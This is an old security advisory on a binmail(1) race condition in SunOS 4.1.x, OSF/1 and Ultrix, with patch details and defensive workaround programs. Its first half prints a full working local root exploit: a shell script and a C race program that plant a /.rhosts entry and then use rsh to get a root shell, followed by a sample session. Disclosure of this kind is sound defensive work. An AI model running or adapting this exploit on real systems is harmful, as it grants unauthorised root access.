Vulnerability
binmail(1) (/usr/bin/mail)
Affected
SunOS 4.1.x
OSF/1 1.2, 1.3, and 2.0
Ultrix 4.3, 4.3A, 4.4
Solbourne ?.?
(Possibly other platforms)
Description
A race condition exists in binmail(1), which allows files to
be created in arbitrary places on the filesystem. These files
can be owned by arbitrary (usually system) users.
This example demonstrates how to become root on most affected
machines by creating/appending-to root's .rhosts file. Please
do not do this unless you have permission.
Create the following file, 'mailscript':
--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: mailscript user target-file rsh-user
#
# This exploits a flaw in SunOS binmail(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1992 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
SPOOLDIR="/var/spool/mail"
# Check args
if [ $# -ne 3 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET="$1"
TARGET_FILE="$2"
RSH_USER="$3"
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
# Check user exists
grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo "$PROG: Warning, $TARGET not in local passwd file"
# We continue though, might be in the YP passwd file
fi
# Check target file
if [ -f $TARGET_FILE ]; then
OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
2>/dev/null
echo "$PROG: Warning, $TARGET_FILE already exists, appending"
else
OLD_TARGET_LEN=0
fi
# Delete spool file if its a link, and we are able
if [ -h "$SPOOLDIR/$TARGET" ]; then
rm -f "$SPOOLDIR/$TARGET"
# Dont worry about errors, we catch it below
fi
# Check mail file
if [ -f "$SPOOLDIR/$TARGET" ]; then
echo "$PROG: ${TARGET}'s mail file exists."
exit 1
fi
# Make the race program
cat > mailrace.c << 'EOF'
#include <unistd.h>
#include <stdio.h>
char lockfile[] =".lock";
main(argc,argv)
int argc;
char *argv[];
{
char path[128];
if (argc != 3) {
fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
exit(1);
}
strcpy(path, argv[1]);
strcat(path, lockfile);
while(access(path, F_OK));
symlink(argv[2], argv[1]);
}
EOF
cc -o mailrace mailrace.c
# Check we now have mailrace
if [ ! -x "mailrace" ]; then
echo "$PROG: couldnt compile mailrace.c - check it out"
exit 1
fi
# Start mailrace
./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
RACE_PID=$!
# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
echo "Sending mail to $TARGET"
echo "localhost $USER" | /bin/mail $TARGET
sleep 10
kill -STOP $RACE_PID
rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
if [ -f $SPOOLDIR/$TARGET ]; then
echo "$PROG: Sorry, we lost the race - cant try again."
kill -9 $RACE_PID
exit 1
fi
kill -CONT $RACE_PID
if [ -f "$TARGET_FILE" ]; then
NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
2>/dev/null
else
NEW_TARGET_LEN=0
fi
if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
echo "We drew the race that time, trying again"
fi
done
# We won the race
kill -9 $RACE_PID
echo "We won the race, becoming $RSH_USER"
rsh localhost -l $RSH_USER sh -i
exit 0
--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Check what root users are on the system:
> % grep :0: /etc/passwd
root:*:0:1:Operator:/:/bin/csh
sysdiag:*:0:1:Old System
Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System
Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
+::0:0:::
We choose a user with UID 0, but without a
/var/spool/mail/<username> file:
> % ls -l /var/spool/mail/sysdiag
/var/spool/mail/sysdiag not found
Execute mailscript. The user is sysdiag, the target file is
/.rhosts, and the user to rsh to on success is root:
> % chmod 700 mailscript
> % ./mailscript sysdiag /.rhosts root
mailscript: Warning, /.rhosts already exists, appending
Sending mail to sysdiag
We won the race, becoming root
./mailscript: 11051 Killed
#
This problem exists because /var/spool/mail is rwxrwxrwt. (Other
systems have their spool dir rwxrwxr-x, and run their MUA's sgid
mail). Before it opens the mail file, binmail does an lstat(2)
to check that it is not about to write to a linked file. The
intention is to prevent arbitrary files from being created or
appended to.
However, there exists a window of opportunity between lstat(2)
and open(2); if a link is created after lstat, open will then
follow the link. This is not a straightforward task, as it is
not possible to predict when to create the link.
Therefore it is necessary to have a program (mailrace) which
continually creates links and then removes them. To exploit the
window of opportunity, it is required that the link has been
removed before the context switch for lstat, but exists for open.
There are three possible outcomes for this race:-
1) lstat finds a link - mail returned to sender.
2) link does not exist for lstat, but does for open - file
created - we win.
3) link does not exist for lstat or open - mailbox created. In
this case, it is not possible to remove the mailbox (as the
stick bit is set on /var/spool/mail), so it is necessary to
choose another target user.
In tests, it would appear that the chances of 1) and 2) occurring
are approximately equal, with the chance of 3) being somewhat
lower.
Please note that this vulnerability may exist on other platforms
where the mail spool directory has mode 777 and /bin/mail is
setuid root.
Solution
Contact your vendor for a patch.
For OSF/1 upgrade/install OSF/1 to a minimum of V2.0 and install
Security Enhanced Kit CSCPAT_4061 v1.0.
For Ultrix upgrade/install ULTRIX to a minimum of V4.4 and
install Security Enhanced Kit CSCPAT_4060 v1.0.
For SunOS current patches are listed below, but they are being
revised.
SunOS Patch MD5 Checksum
------ ----- ------------
4.1.3 100224-13.tar.Z 90a507017a1a40c4622b3f1f00ce5d2d
4.1.3UI 101436-08.tar.Z 0e64560edc61eb4b3da81a932e8b11e1
The patches can be obtained from local Sun Answer Centers and
through anonymous FTP from ftp.uu.net in the /systems/sun/sun-dist
directory. In Europe, the patches are available from mcsun.eu.net
in the /sun/fixes directory.
We have considered several potential workarounds for this
vulnerability. The ideal fix would be to remove global write
access to the mail spool directory. However, this is not
possible as programs such as /bin/mail, /usr/ucb/Mail and
elm require everyone to have write access. Also it is not
possible to, for example, change the group ownership of
/var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail
setgid mail privilege, as they do not reset their group id
before forking a shell.
We have therefore decided that the following is the only viable
method:
1. Ensure that every user maintains a mailbox file. The
following program will create a mailbox for every user
on the system, if one does not currently exist.
--------------------------- cut here ----------------------------
/*
* makemailboxes.c
*
* Written 1994 by [8LGM]
*
* This program is part of a workaround for the SunOS 4.1.x /bin/mail
* bug described in the 8LGM Advisory. This program should be executed
* as root, and will create a mailbox for each user that doesnt have one.
* In order for this workaround to be effective, /usr/ucb/Mail also needs
* to be wrapped with wrapper.c.
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/file.h>
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#define MAIL_SPOOL_DIR "/var/spool/mail"
main(argc, argv)
int argc;
char *argv[];
{
int fd;
char path[MAXPATHLEN + 5];
struct passwd *pw;
umask(0);
setpwent();
while (pw = getpwent()) {
sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
if (access(path, F_OK)) {
if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
perror("open");
else {
if (fchown(fd, pw->pw_uid, pw->pw_gid))
perror("fchown");
close(fd);
printf("Created %s\n", path);
}
}
}
endpwent();
exit(0);
}
--------------------------- cut here ----------------------------
2. /usr/ucb/Mail removes the mailbox file if all mail has
been read, and the user is not preserving the contents.
Therefore, we would recommend using the following wrapper
for Mail, which creates the user's mailbox if it has been
removed.
/*
* wrapper.c
*
* Written 1994 by [8LGM]
*
* This program is part of a workaround for the SunOS 4.1.x /bin/mail
* bug described in the 8LGM Advisory. Programs such as /usr/ucb/Mail
* that will delete the user's mailbox when he/she has no mail need to
* be wrapped with this.
*
* Install as follows:
*
* # cc -O -o wrapper wrapper.c
* # mv /usr/ucb/Mail /usr/ucb/Mail.old
* # mv /usr/ucb/mail /usr/ucb/mail.old
* # cp wrapper /usr/ucb/Mail
* # chmod 755 /usr/ucb/Mail
* # ln /usr/ucb/Mail /usr/ucb/mail
*
* DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/file.h>
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#define MAIL_SPOOL_DIR "/var/spool/mail"
main(argc, argv)
int argc;
char *argv[];
{
pid_t pid;
int status, fd;
char path[MAXPATHLEN + 5], *user;
struct passwd *pw;
if ((pid = fork()) == -1) {
perror("fork");
exit(1);
}
sprintf(path, "%s.old", argv[0]);
if (pid == 0) {
execvp(path, argv);
perror("execvp");
exit(1);
}
setuid(getuid()); /* Just in case we're suid,
which we shouldnt be */
if (waitpid(pid, &status, 0) == -1) {
perror("waitpid");
exit(1);
}
if ((user = (char*)getenv("USER")) == NULL) {
if ((pw = getpwuid(getuid())) == NULL) {
fprintf(stderr, "Who are you?!");
exit(1);
}
user = pw->pw_name;
}
sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
if (access(path, F_OK)) {
if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
perror("open");
else
close(fd);
}
exit(status);
}
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